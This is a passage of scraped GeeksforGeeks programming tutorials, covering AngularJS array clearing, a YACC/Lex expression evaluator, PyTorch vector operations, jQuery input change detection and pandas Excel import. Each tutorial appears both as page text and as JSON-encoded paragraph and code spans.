"code": null, "e": 3795, "s": 3761, "text": "Convert Double to Integer in Java" }, { "code": null, "e": 3842, "s": 3795, "text": "Implementing a Linked List in Java using Class" }, { "code": null, "e": 3877, "s": 3842, "text": "Traverse Through a HashMap in Java" } ]
How to make empty an array using AngularJS ?
14 Oct, 2020 The task is to make empty an array or delete all elements from the array in AngularJS. Approach: First example uses the [] notation to reinitialize the array which eventually removes all the elements from the array. Second example sets the length of the array to 0 by using length property, which also empty the array. Example 1: <!DOCTYPE HTML><html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.13/angular.min.js"> </script> <script> var myApp = angular.module("app", []); myApp.controller("controller", function ($scope) { $scope.arr = ['Geek', 'GeeksForGeeks', 'gfg']; $scope.emptyArr = function () { $scope.arr = []; }; }); </script></head> <body style="text-align:center;"> <h1 style="color:green;"> GeeksForGeeks </h1> <p> How to empty an array in AngularJS </p> <div ng-app="app"> <div ng-controller="controller"> Array = {{arr}}<br><br> <button ng-click='emptyArr()'> Clear Array </button> </div> </div></body> </html> Output: Example 2: <!DOCTYPE HTML><html> <head> <script src="//ajax.googleapis.com/ajax/libs/angularjs/1.2.13/angular.min.js"> </script> <script> var myApp = angular.module("app", []); myApp.controller("controller", function ($scope) { $scope.arr = ['Geek', 'GeeksForGeeks', 'gfg']; $scope.emptyArr = function () { $scope.arr.length = 0; }; }); </script></head> <body style="text-align:center;"> <h1 style="color:green;"> GeeksForGeeks </h1> <p> How to empty an array in AngularJS </p> <div ng-app="app"> <div ng-controller="controller"> Array = {{arr}}<br><br> <button ng-click='emptyArr()'> Clear Array </button> </div> </div></body> </html> Output: AngularJS-Misc AngularJS HTML Web Technologies HTML Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Routing in Angular 9/10 Angular PrimeNG Dropdown Component Angular 10 (blur) Event How to make a Bootstrap Modal Popup in Angular 9/8 ? How to create module with Routing in Angular 9 ? How to update Node.js and NPM to next version ? Top 10 Projects For Beginners To Practice HTML and CSS Skills How to insert spaces/tabs in text using HTML/CSS? REST API (Introduction) Hide or show elements in HTML using display property
[ { "code": null, "e": 28, "s": 0, "text": "\n14 Oct, 2020" }, { "code": null, "e": 115, "s": 28, "text": "The task is to make empty an array or delete all elements from the array in AngularJS." }, { "code": null, "e": 347, "s": 115, "text": "Approach: First example uses the [] notation to reinitialize the array which eventually removes all the elements from the array. Second example sets the length of the array to 0 by using length property, which also empty the array." }, { "code": null, "e": 358, "s": 347, "text": "Example 1:" }, { "code": "<!DOCTYPE HTML><html> <head> <script src=\"//ajax.googleapis.com/ajax/libs/angularjs/1.2.13/angular.min.js\"> </script> <script> var myApp = angular.module(\"app\", []); myApp.controller(\"controller\", function ($scope) { $scope.arr = ['Geek', 'GeeksForGeeks', 'gfg']; $scope.emptyArr = function () { $scope.arr = []; }; }); </script></head> <body style=\"text-align:center;\"> <h1 style=\"color:green;\"> GeeksForGeeks </h1> <p> How to empty an array in AngularJS </p> <div ng-app=\"app\"> <div ng-controller=\"controller\"> Array = {{arr}}<br><br> <button ng-click='emptyArr()'> Clear Array </button> </div> </div></body> </html>", "e": 1159, "s": 358, "text": null }, { "code": null, "e": 1167, "s": 1159, "text": "Output:" }, { "code": null, "e": 1178, "s": 1167, "text": "Example 2:" }, { "code": "<!DOCTYPE HTML><html> <head> <script src=\"//ajax.googleapis.com/ajax/libs/angularjs/1.2.13/angular.min.js\"> </script> <script> var myApp = angular.module(\"app\", []); myApp.controller(\"controller\", function ($scope) { $scope.arr = ['Geek', 'GeeksForGeeks', 'gfg']; $scope.emptyArr = function () { $scope.arr.length = 0; }; }); </script></head> <body style=\"text-align:center;\"> <h1 style=\"color:green;\"> GeeksForGeeks </h1> <p> How to empty an array in AngularJS </p> <div ng-app=\"app\"> <div ng-controller=\"controller\"> Array = {{arr}}<br><br> <button ng-click='emptyArr()'> Clear Array </button> </div> </div></body> </html>", "e": 1989, "s": 1178, "text": null }, { "code": null, "e": 1997, "s": 1989, "text": "Output:" }, { "code": null, "e": 2012, "s": 1997, "text": "AngularJS-Misc" }, { "code": null, "e": 2022, "s": 2012, "text": "AngularJS" }, { "code": null, "e": 2027, "s": 2022, "text": "HTML" }, { "code": null, "e": 2044, "s": 2027, "text": "Web Technologies" }, { "code": null, "e": 2049, "s": 2044, "text": "HTML" }, { "code": null, "e": 2147, "s": 2049, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2171, "s": 2147, "text": "Routing in Angular 9/10" }, { "code": null, "e": 2206, "s": 2171, "text": "Angular PrimeNG Dropdown Component" }, { "code": null, "e": 2230, "s": 2206, "text": "Angular 10 (blur) Event" }, { "code": null, "e": 2283, "s": 2230, "text": "How to make a Bootstrap Modal Popup in Angular 9/8 ?" }, { "code": null, "e": 2332, "s": 2283, "text": "How to create module with Routing in Angular 9 ?" }, { "code": null, "e": 2380, "s": 2332, "text": "How to update Node.js and NPM to next version ?" }, { "code": null, "e": 2442, "s": 2380, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 2492, "s": 2442, "text": "How to insert spaces/tabs in text using HTML/CSS?" }, { "code": null, "e": 2516, "s": 2492, "text": "REST API (Introduction)" } ]
Yacc Program to evaluate a given arithmetic expression
22 Mar, 2021 Prerequisite – Introduction to YACC Problem: Write a YACC program to evaluate a given arithmetic expression consisting of ‘+’, ‘-‘, ‘*’, ‘/’ including brackets.Examples: Input: 7*(5-3)/2 Output: 7 Input: 6/((3-2)*(-5+2)) Output: -2 Lexical Analyzer Source Code: C %{ /* Definition section*/ #include "y.tab.h" extern yylval;}% %%[0-9]+ { yylval = atoi(yytext); return NUMBER; } [a-zA-Z]+ { return ID; }[ \t]+ ; /*For skipping whitespaces*/ \n { return 0; }. { return yytext[0]; } %% Parser Source Code: C %{ /* Definition section */ #include <stdio.h>%} %token NUMBER ID// setting the precedence// and associativity of operators%left '+' '-'%left '*' '/' /* Rule Section */%%E : T { printf("Result = %d\n", $$); return 0; } T : T '+' T { $$ = $1 + $3; } | T '-' T { $$ = $1 - $3; } | T '*' T { $$ = $1 * $3; } | T '/' T { $$ = $1 / $3; } | '-' NUMBER { $$ = -$2; } | '-' ID { $$ = -$2; } | '(' T ')' { $$ = $2; } | NUMBER { $$ = $1; } | ID { $$ = $1; };% % int main() { printf("Enter the expression\n"); yyparse();} /* For printing error messages */int yyerror(char* s) { printf("\nExpression is invalid\n");} Output: Notes: Yacc programs are generally written in 2 files one for lex with .l extension(for tokenization and send the tokens to yacc) and another for yacc with .y extension (for grammar evaluation and result evaluation).Steps for execution of Yacc program: yacc -d sample_yacc_program.y lex sample_lex_program.l cc lex.yy.c y.tab.c -ll ./a.out aaaayush25 Lex program Compiler Design Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 52, "s": 24, "text": "\n22 Mar, 2021" }, { "code": null, "e": 224, "s": 52, "text": "Prerequisite – Introduction to YACC Problem: Write a YACC program to evaluate a given arithmetic expression consisting of ‘+’, ‘-‘, ‘*’, ‘/’ including brackets.Examples: " }, { "code": null, "e": 288, "s": 224, "text": "Input: 7*(5-3)/2\nOutput: 7\n\nInput: 6/((3-2)*(-5+2))\nOutput: -2 " }, { "code": null, "e": 319, "s": 288, "text": "Lexical Analyzer Source Code: " }, { "code": null, "e": 321, "s": 319, "text": "C" }, { "code": "%{ /* Definition section*/ #include \"y.tab.h\" extern yylval;}% %%[0-9]+ { yylval = atoi(yytext); return NUMBER; } [a-zA-Z]+ { return ID; }[ \\t]+ ; /*For skipping whitespaces*/ \\n { return 0; }. { return yytext[0]; } %%", "e": 623, "s": 321, "text": null }, { "code": null, "e": 644, "s": 623, "text": "Parser Source Code: " }, { "code": null, "e": 646, "s": 644, "text": "C" }, { "code": "%{ /* Definition section */ #include <stdio.h>%} %token NUMBER ID// setting the precedence// and associativity of operators%left '+' '-'%left '*' '/' /* Rule Section */%%E : T { printf(\"Result = %d\\n\", $$); return 0; } T : T '+' T { $$ = $1 + $3; } | T '-' T { $$ = $1 - $3; } | T '*' T { $$ = $1 * $3; } | T '/' T { $$ = $1 / $3; } | '-' NUMBER { $$ = -$2; } | '-' ID { $$ = -$2; } | '(' T ')' { $$ = $2; } | NUMBER { $$ = $1; } | ID { $$ = $1; };% % int main() { printf(\"Enter the expression\\n\"); yyparse();} /* For printing error messages */int yyerror(char* s) { printf(\"\\nExpression is invalid\\n\");}", "e": 1339, "s": 646, "text": null }, { "code": null, "e": 1348, "s": 1339, "text": "Output: " }, { "code": null, "e": 1603, "s": 1348, "text": "Notes: Yacc programs are generally written in 2 files one for lex with .l extension(for tokenization and send the tokens to yacc) and another for yacc with .y extension (for grammar evaluation and result evaluation).Steps for execution of Yacc program: " }, { "code": null, "e": 1690, "s": 1603, "text": "yacc -d sample_yacc_program.y\nlex sample_lex_program.l\ncc lex.yy.c y.tab.c -ll\n./a.out" }, { "code": null, "e": 1703, "s": 1692, "text": "aaaayush25" }, { "code": null, "e": 1715, "s": 1703, "text": "Lex program" }, { "code": null, "e": 1731, "s": 1715, "text": "Compiler Design" } ]
Vector Operations in Pytorch
22 Apr, 2022 In this article, we are going to discuss vector operations in PyTorch. Vectors are a one-dimensional tensor, which is used to manipulate the data. Vector operations are of different types such as mathematical operation, dot product, and linspace. PyTorch is an optimized tensor library majorly used for Deep Learning applications using GPUs and CPUs. It is one of the widely used Machine learning libraries, others being TensorFlow and Keras. We can create a vector by using the torch.tensor() function Syntax: torch.tensor([value1,value2,.value n]) where values are the input values that take input as a list Example: Python3 # importing pytorch moduleimport torch # create an vectorA = torch.tensor([7058, 7059, 7060, 7061, 7062]) # displayprint(A) Output: tensor([7058, 7059, 7060, 7061, 7062]) Now let us discuss each vector operation supported under tensor. The procedure is extremely simple, just create two vectors and perform operations on them like you are performing them on two regular variables. Example: Python3 # importing pytorch moduleimport torch # create an vector AA = torch.tensor([58, 59, 60, 61, 62]) # create an vector BB = torch.tensor([100, 120, 140, 160, 180]) # add two vectorsprint("Addition of two vectors:", A+B) # subtract two vectorsprint("subtraction of two vectors:", A-B) # multiply two vectorsprint("multiplication of two vectors:", A*B) # multiply two vectorsprint("multiplication of two vectors:", A*B) # divide two vectorsprint("division of two vectors:", A/B) # floor divide two vectorsprint("floor division of two vectors:", A//B) # modulus of two vectorsprint("modulus operation of two vectors:", A % B) # power of two vectorsprint("power operation of two vectors:", A**B) Output: Addition of two vectors: tensor([158, 179, 200, 221, 242]) subtraction of two vectors: tensor([ -42, -61, -80, -99, -118]) multiplication of two vectors: tensor([ 5800, 7080, 8400, 9760, 11160]) multiplication of two vectors: tensor([ 5800, 7080, 8400, 9760, 11160]) division of two vectors: tensor([0.5800, 0.4917, 0.4286, 0.3812, 0.3444]) floor division of two vectors: tensor([0, 0, 0, 0, 0]) modulus operation of two vectors: tensor([58, 59, 60, 61, 62]) power operation of two vectors: tensor([ 0, -4166911448072485343, 0,8747520307384418433, 0]) It is similar to arithmetic operations except that the other vector part is replaced by a constant. Example: Python3 # importing pytorch moduleimport torch # create an vector AA = torch.tensor([58, 59, 60, 61, 62]) # divide vector by 2print(A/2) # multiply vector by 2print(A*2) # subtract vector by 2print(A-2) Output: tensor([29.0000, 29.5000, 30.0000, 30.5000, 31.0000]) tensor([116, 118, 120, 122, 124]) tensor([56, 57, 58, 59, 60]) dot() is used to get the dot product. The vectors in consideration just need to be passed to it. Syntax: torch.dot(vector1,vector2) Example: Python3 # importing pytorch moduleimport torch # create an vector AA = torch.tensor([58, 59, 60, 61, 62]) # create an vector BB = torch.tensor([8, 9, 6, 1, 2]) # dot product of the two vectorsprint(torch.dot(A, B)) Output: tensor(1540) linspace is used to arrange data linearly in the given space. It is available in the torch package and using linspace() function with values for start and end are enough. Syntax: torch.linspace(start,end) where start is the starting value and end is the ending value. Example Python3 # importing pytorch moduleimport torch # arrange the elements from 2 to 10print(torch.linspace(2, 10)) Output: The linspace function is used to plot a function on two-dimensional coordinate systems. For the x-axis, we create a land space from 0 to 10 in an interval of 2.5, and Y will be the function of each x value. Example 1: sin function Python3 #import pytorchimport torch #import numpyimport numpy as np #import matplotlibimport matplotlib.pyplot as plt # create lin space from 1 to 12x = torch.linspace(1, 12) # sin functiony = torch.sin(x) # plotplt.plot(x.numpy(), y.numpy()) # displayplt.show() Output: Example 2: cos function Python3 #import pytorchimport torch #import numpyimport numpy as np #import matplotlibimport matplotlib.pyplot as plt # create lin space from 1 to 12x = torch.linspace(1, 12) # cos functiony = torch.cos(x) # plotplt.plot(x.numpy(), y.numpy()) # displayplt.show() Output: Example 3: tan() function Python3 #import pytorchimport torch #import numpyimport numpy as np #import matplotlibimport matplotlib.pyplot as plt # create lin space from 1 to 12x = torch.linspace(1, 12) # tan functiony = torch.tan(x) # plotplt.plot(x.numpy(), y.numpy()) # displayplt.show() Output: surindertarika1234 sumitgumber28 simranarora5sos Picked Python-PyTorch Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n22 Apr, 2022" }, { "code": null, "e": 275, "s": 28, "text": "In this article, we are going to discuss vector operations in PyTorch. Vectors are a one-dimensional tensor, which is used to manipulate the data. Vector operations are of different types such as mathematical operation, dot product, and linspace." }, { "code": null, "e": 471, "s": 275, "text": "PyTorch is an optimized tensor library majorly used for Deep Learning applications using GPUs and CPUs. It is one of the widely used Machine learning libraries, others being TensorFlow and Keras." }, { "code": null, "e": 531, "s": 471, "text": "We can create a vector by using the torch.tensor() function" }, { "code": null, "e": 539, "s": 531, "text": "Syntax:" }, { "code": null, "e": 578, "s": 539, "text": "torch.tensor([value1,value2,.value n])" }, { "code": null, "e": 638, "s": 578, "text": "where values are the input values that take input as a list" }, { "code": null, "e": 647, "s": 638, "text": "Example:" }, { "code": null, "e": 655, "s": 647, "text": "Python3" }, { "code": "# importing pytorch moduleimport torch # create an vectorA = torch.tensor([7058, 7059, 7060, 7061, 7062]) # displayprint(A)", "e": 779, "s": 655, "text": null }, { "code": null, "e": 787, "s": 779, "text": "Output:" }, { "code": null, "e": 826, "s": 787, "text": "tensor([7058, 7059, 7060, 7061, 7062])" }, { "code": null, "e": 892, "s": 826, "text": "Now let us discuss each vector operation supported under tensor. " }, { "code": null, "e": 1037, "s": 892, "text": "The procedure is extremely simple, just create two vectors and perform operations on them like you are performing them on two regular variables." }, { "code": null, "e": 1046, "s": 1037, "text": "Example:" }, { "code": null, "e": 1054, "s": 1046, "text": "Python3" }, { "code": "# importing pytorch moduleimport torch # create an vector AA = torch.tensor([58, 59, 60, 61, 62]) # create an vector BB = torch.tensor([100, 120, 140, 160, 180]) # add two vectorsprint(\"Addition of two vectors:\", A+B) # subtract two vectorsprint(\"subtraction of two vectors:\", A-B) # multiply two vectorsprint(\"multiplication of two vectors:\", A*B) # multiply two vectorsprint(\"multiplication of two vectors:\", A*B) # divide two vectorsprint(\"division of two vectors:\", A/B) # floor divide two vectorsprint(\"floor division of two vectors:\", A//B) # modulus of two vectorsprint(\"modulus operation of two vectors:\", A % B) # power of two vectorsprint(\"power operation of two vectors:\", A**B)", "e": 1744, "s": 1054, "text": null }, { "code": null, "e": 1752, "s": 1744, "text": "Output:" }, { "code": null, "e": 1811, "s": 1752, "text": "Addition of two vectors: tensor([158, 179, 200, 221, 242])" }, { "code": null, "e": 1878, "s": 1811, "text": "subtraction of two vectors: tensor([ -42, -61, -80, -99, -118])" }, { "code": null, "e": 1953, "s": 1878, "text": "multiplication of two vectors: tensor([ 5800, 7080, 8400, 9760, 11160])" }, { "code": null, "e": 2028, "s": 1953, "text": "multiplication of two vectors: tensor([ 5800, 7080, 8400, 9760, 11160])" }, { "code": null, "e": 2102, "s": 2028, "text": "division of two vectors: tensor([0.5800, 0.4917, 0.4286, 0.3812, 0.3444])" }, { "code": null, "e": 2157, "s": 2102, "text": "floor division of two vectors: tensor([0, 0, 0, 0, 0])" }, { "code": null, "e": 2220, "s": 2157, "text": "modulus operation of two vectors: tensor([58, 59, 60, 61, 62])" }, { "code": null, "e": 2316, "s": 2220, "text": "power operation of two vectors: tensor([ 0, -4166911448072485343, 0,8747520307384418433, 0])" }, { "code": null, "e": 2416, "s": 2316, "text": "It is similar to arithmetic operations except that the other vector part is replaced by a constant." }, { "code": null, "e": 2425, "s": 2416, "text": "Example:" }, { "code": null, "e": 2433, "s": 2425, "text": "Python3" }, { "code": "# importing pytorch moduleimport torch # create an vector AA = torch.tensor([58, 59, 60, 61, 62]) # divide vector by 2print(A/2) # multiply vector by 2print(A*2) # subtract vector by 2print(A-2)", "e": 2629, "s": 2433, "text": null }, { "code": null, "e": 2637, "s": 2629, "text": "Output:" }, { "code": null, "e": 2691, "s": 2637, "text": "tensor([29.0000, 29.5000, 30.0000, 30.5000, 31.0000])" }, { "code": null, "e": 2725, "s": 2691, "text": "tensor([116, 118, 120, 122, 124])" }, { "code": null, "e": 2754, "s": 2725, "text": "tensor([56, 57, 58, 59, 60])" }, { "code": null, "e": 2851, "s": 2754, "text": "dot() is used to get the dot product. The vectors in consideration just need to be passed to it." }, { "code": null, "e": 2859, "s": 2851, "text": "Syntax:" }, { "code": null, "e": 2888, "s": 2859, "text": "torch.dot(vector1,vector2) " }, { "code": null, "e": 2897, "s": 2888, "text": "Example:" }, { "code": null, "e": 2905, "s": 2897, "text": "Python3" }, { "code": "# importing pytorch moduleimport torch # create an vector AA = torch.tensor([58, 59, 60, 61, 62]) # create an vector BB = torch.tensor([8, 9, 6, 1, 2]) # dot product of the two vectorsprint(torch.dot(A, B))", "e": 3112, "s": 2905, "text": null }, { "code": null, "e": 3120, "s": 3112, "text": "Output:" }, { "code": null, "e": 3133, "s": 3120, "text": "tensor(1540)" }, { "code": null, "e": 3304, "s": 3133, "text": "linspace is used to arrange data linearly in the given space. It is available in the torch package and using linspace() function with values for start and end are enough." }, { "code": null, "e": 3312, "s": 3304, "text": "Syntax:" }, { "code": null, "e": 3340, "s": 3312, "text": "torch.linspace(start,end) " }, { "code": null, "e": 3403, "s": 3340, "text": "where start is the starting value and end is the ending value." }, { "code": null, "e": 3411, "s": 3403, "text": "Example" }, { "code": null, "e": 3419, "s": 3411, "text": "Python3" }, { "code": "# importing pytorch moduleimport torch # arrange the elements from 2 to 10print(torch.linspace(2, 10))", "e": 3522, "s": 3419, "text": null }, { "code": null, "e": 3530, "s": 3522, "text": "Output:" }, { "code": null, "e": 3738, "s": 3530, "text": "The linspace function is used to plot a function on two-dimensional coordinate systems. For the x-axis, we create a land space from 0 to 10 in an interval of 2.5, and Y will be the function of each x value. " }, { "code": null, "e": 3762, "s": 3738, "text": "Example 1: sin function" }, { "code": null, "e": 3770, "s": 3762, "text": "Python3" }, { "code": "#import pytorchimport torch #import numpyimport numpy as np #import matplotlibimport matplotlib.pyplot as plt # create lin space from 1 to 12x = torch.linspace(1, 12) # sin functiony = torch.sin(x) # plotplt.plot(x.numpy(), y.numpy()) # displayplt.show()", "e": 4025, "s": 3770, "text": null }, { "code": null, "e": 4033, "s": 4025, "text": "Output:" }, { "code": null, "e": 4057, "s": 4033, "text": "Example 2: cos function" }, { "code": null, "e": 4065, "s": 4057, "text": "Python3" }, { "code": "#import pytorchimport torch #import numpyimport numpy as np #import matplotlibimport matplotlib.pyplot as plt # create lin space from 1 to 12x = torch.linspace(1, 12) # cos functiony = torch.cos(x) # plotplt.plot(x.numpy(), y.numpy()) # displayplt.show()", "e": 4320, "s": 4065, "text": null }, { "code": null, "e": 4328, "s": 4320, "text": "Output:" }, { "code": null, "e": 4354, "s": 4328, "text": "Example 3: tan() function" }, { "code": null, "e": 4362, "s": 4354, "text": "Python3" }, { "code": "#import pytorchimport torch #import numpyimport numpy as np #import matplotlibimport matplotlib.pyplot as plt # create lin space from 1 to 12x = torch.linspace(1, 12) # tan functiony = torch.tan(x) # plotplt.plot(x.numpy(), y.numpy()) # displayplt.show()", "e": 4617, "s": 4362, "text": null }, { "code": null, "e": 4625, "s": 4617, "text": "Output:" }, { "code": null, "e": 4644, "s": 4625, "text": "surindertarika1234" }, { "code": null, "e": 4658, "s": 4644, "text": "sumitgumber28" }, { "code": null, "e": 4674, "s": 4658, "text": "simranarora5sos" }, { "code": null, "e": 4681, "s": 4674, "text": "Picked" }, { "code": null, "e": 4696, "s": 4681, "text": "Python-PyTorch" }, { "code": null, "e": 4703, "s": 4696, "text": "Python" } ]
JQuery | Detect a textbox content is changed or not
20 May, 2019 In order to detect the text content of input is changed or not, We are using the .on() method of JQuery..on()This is a built-in method provided by jQuery and is used to attach event handlers for the selected elements and their child elements. Syntax: $(selector).on(event, childSel, data, fun, map) parameters: event: This parameter is required. It defines events or namespaces to attach to elements selected. If multiple events are to be provided, must be separated by space. childSel: This parameter is optional. It defines that the event handler should only be attached to the defined child elements. data: This parameter is optional. It specifies the additional data to pass to the function. fun: This parameter is optional. It specifies the function to run on event occur. map: This parameter specifies an event map ({event: function, event: function, ...}) containing one or more event and functions to run when the events occur Example-1: In this example, alert box appears saying that ‘Text content changed!’ when the text of the input changed. <!DOCTYPE html><html> <head> <title> JQuery | detect a textbox's content has changed. </title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"> </script> </head> <body style="text-align:center;" id="body"> <h1 style="color:green;"> GeeksForGeeks </h1> <p> Change the text of input text and click outside of it to see. </p> <input id="input" name="input"/> <br> <br> <script> $("#input").on("change", function() { alert('Text content changed!'); }); </script></body> </html> Output: After clicking outside of the input box: Example-2: In this example, alert box appears saying that ‘Text content changed!’ when either of activity happens. text of the input changed. keyup event happens. Something is pasted to the input box. propertychange occurs. <!DOCTYPE html><html> <head> <title> JQuery | detect a textbox's content has changed. </title> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"> </script> </head> <body style="text-align:center;" id="body"> <h1 style="color:green;"> GeeksForGeeks </h1> <p> Change the text of input text and click outside of it to see. </p> <input id="input" name="input" /> <br> <br> <script> $("#input").on( "propertychange change keyup paste input", function() { alert('Text content changed!'); }); </script></body> </html> Output: After event occurs: jQuery-Misc JQuery Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Form validation using jQuery Scroll to the top of the page using JavaScript/jQuery How to Dynamically Add/Remove Table Rows using jQuery ? How to get the value in an input text box using jQuery ? How to prevent Body from scrolling when a modal is opened using jQuery ? Installation of Node.js on Linux Top 10 Projects For Beginners To Practice HTML and CSS Skills Difference between var, let and const keywords in JavaScript How to insert spaces/tabs in text using HTML/CSS? How to fetch data from an API in ReactJS ?
[ { "code": null, "e": 54, "s": 26, "text": "\n20 May, 2019" }, { "code": null, "e": 297, "s": 54, "text": "In order to detect the text content of input is changed or not, We are using the .on() method of JQuery..on()This is a built-in method provided by jQuery and is used to attach event handlers for the selected elements and their child elements." }, { "code": null, "e": 305, "s": 297, "text": "Syntax:" }, { "code": null, "e": 354, "s": 305, "text": "$(selector).on(event, childSel, data, fun, map)\n" }, { "code": null, "e": 366, "s": 354, "text": "parameters:" }, { "code": null, "e": 532, "s": 366, "text": "event: This parameter is required. It defines events or namespaces to attach to elements selected. If multiple events are to be provided, must be separated by space." }, { "code": null, "e": 659, "s": 532, "text": "childSel: This parameter is optional. It defines that the event handler should only be attached to the defined child elements." }, { "code": null, "e": 751, "s": 659, "text": "data: This parameter is optional. It specifies the additional data to pass to the function." }, { "code": null, "e": 833, "s": 751, "text": "fun: This parameter is optional. It specifies the function to run on event occur." }, { "code": null, "e": 990, "s": 833, "text": "map: This parameter specifies an event map ({event: function, event: function, ...}) containing one or more event and functions to run when the events occur" }, { "code": null, "e": 1108, "s": 990, "text": "Example-1: In this example, alert box appears saying that ‘Text content changed!’ when the text of the input changed." }, { "code": "<!DOCTYPE html><html> <head> <title> JQuery | detect a textbox's content has changed. </title> <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js\"> </script> </head> <body style=\"text-align:center;\" id=\"body\"> <h1 style=\"color:green;\"> GeeksForGeeks </h1> <p> Change the text of input text and click outside of it to see. </p> <input id=\"input\" name=\"input\"/> <br> <br> <script> $(\"#input\").on(\"change\", function() { alert('Text content changed!'); }); </script></body> </html>", "e": 1739, "s": 1108, "text": null }, { "code": null, "e": 1747, "s": 1739, "text": "Output:" }, { "code": null, "e": 1788, "s": 1747, "text": "After clicking outside of the input box:" }, { "code": null, "e": 1903, "s": 1788, "text": "Example-2: In this example, alert box appears saying that ‘Text content changed!’ when either of activity happens." }, { "code": null, "e": 1930, "s": 1903, "text": "text of the input changed." }, { "code": null, "e": 1951, "s": 1930, "text": "keyup event happens." }, { "code": null, "e": 1989, "s": 1951, "text": "Something is pasted to the input box." }, { "code": null, "e": 2012, "s": 1989, "text": "propertychange occurs." }, { "code": "<!DOCTYPE html><html> <head> <title> JQuery | detect a textbox's content has changed. </title> <script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js\"> </script> </head> <body style=\"text-align:center;\" id=\"body\"> <h1 style=\"color:green;\"> GeeksForGeeks </h1> <p> Change the text of input text and click outside of it to see. </p> <input id=\"input\" name=\"input\" /> <br> <br> <script> $(\"#input\").on( \"propertychange change keyup paste input\", function() { alert('Text content changed!'); }); </script></body> </html>", "e": 2689, "s": 2012, "text": null }, { "code": null, "e": 2697, "s": 2689, "text": "Output:" }, { "code": null, "e": 2717, "s": 2697, "text": "After event occurs:" }, { "code": null, "e": 2729, "s": 2717, "text": "jQuery-Misc" }, { "code": null, "e": 2736, "s": 2729, "text": "JQuery" }, { "code": null, "e": 2753, "s": 2736, "text": "Web Technologies" }, { "code": null, "e": 2851, "s": 2753, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 2880, "s": 2851, "text": "Form validation using jQuery" }, { "code": null, "e": 2934, "s": 2880, "text": "Scroll to the top of the page using JavaScript/jQuery" }, { "code": null, "e": 2990, "s": 2934, "text": "How to Dynamically Add/Remove Table Rows using jQuery ?" }, { "code": null, "e": 3047, "s": 2990, "text": "How to get the value in an input text box using jQuery ?" }, { "code": null, "e": 3120, "s": 3047, "text": "How to prevent Body from scrolling when a modal is opened using jQuery ?" }, { "code": null, "e": 3153, "s": 3120, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 3215, "s": 3153, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 3276, "s": 3215, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 3326, "s": 3276, "text": "How to insert spaces/tabs in text using HTML/CSS?" } ]
How to import an excel file into Python using Pandas?
17 Aug, 2020 It is not always possible to get the dataset in CSV format. So, Pandas provides us the functions to convert datasets in other formats to the Data frame. An excel file has a ‘.xlsx’ format. Before we get started, we need to install a few libraries. pip install pandas pip install xlrd For importing an Excel file into Python using Pandas we have to use pandas.read_excel() function. Syntax: pandas.read_excel(io, sheet_name=0, header=0, names=None,....) Return: DataFrame or dict of DataFrames. Let’s suppose the Excel file looks like this: Now, we can dive into the code. Example 1: Read an Excel file. Python3 import pandas as pd df = pd.read_excel("sample.xlsx")print(df) Output: Example 2: To select a particular column, we can pass a parameter “index_col“. Python3 import pandas as pd # Here 0th column will be extracteddf = pd.read_excel("sample.xlsx", index_col = 0) print(df) Output: Example 3: In case you don’t prefer the initial heading of the columns, you can change it to indexes using the parameter “header”. Python3 import pandas as pd df = pd.read_excel('sample.xlsx', header = None)print(df) Output: Example 4: If you want to change the data type of a particular column you can do it using the parameter “dtype“. Python3 import pandas as pd df = pd.read_excel('sample.xlsx', dtype = {"Products": str, "Price":float})print(df) Output: Example 5: In case you have unknown values, then you can handle it using the parameter “na_values“. It will convert the mentioned unknown values into “NaN” Python3 import pandas as pddf = pd.read_excel('sample.xlsx', na_values =['item1', 'item2'])print(df) Output: Python Pandas-exercise Python-pandas Python Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n17 Aug, 2020" }, { "code": null, "e": 218, "s": 28, "text": "It is not always possible to get the dataset in CSV format. So, Pandas provides us the functions to convert datasets in other formats to the Data frame. An excel file has a ‘.xlsx’ format. " }, { "code": null, "e": 279, "s": 218, "text": "Before we get started, we need to install a few libraries. " }, { "code": null, "e": 316, "s": 279, "text": "pip install pandas\npip install xlrd\n" }, { "code": null, "e": 415, "s": 316, "text": " For importing an Excel file into Python using Pandas we have to use pandas.read_excel() function." }, { "code": null, "e": 486, "s": 415, "text": "Syntax: pandas.read_excel(io, sheet_name=0, header=0, names=None,....)" }, { "code": null, "e": 527, "s": 486, "text": "Return: DataFrame or dict of DataFrames." }, { "code": null, "e": 573, "s": 527, "text": "Let’s suppose the Excel file looks like this:" }, { "code": null, "e": 606, "s": 573, "text": "Now, we can dive into the code. " }, { "code": null, "e": 637, "s": 606, "text": "Example 1: Read an Excel file." }, { "code": null, "e": 645, "s": 637, "text": "Python3" }, { "code": "import pandas as pd df = pd.read_excel(\"sample.xlsx\")print(df)", "e": 709, "s": 645, "text": null }, { "code": null, "e": 717, "s": 709, "text": "Output:" }, { "code": null, "e": 797, "s": 717, "text": "Example 2: To select a particular column, we can pass a parameter “index_col“. " }, { "code": null, "e": 805, "s": 797, "text": "Python3" }, { "code": "import pandas as pd # Here 0th column will be extracteddf = pd.read_excel(\"sample.xlsx\", index_col = 0) print(df)", "e": 941, "s": 805, "text": null }, { "code": null, "e": 949, "s": 941, "text": "Output:" }, { "code": null, "e": 1080, "s": 949, "text": "Example 3: In case you don’t prefer the initial heading of the columns, you can change it to indexes using the parameter “header”." }, { "code": null, "e": 1088, "s": 1080, "text": "Python3" }, { "code": "import pandas as pd df = pd.read_excel('sample.xlsx', header = None)print(df)", 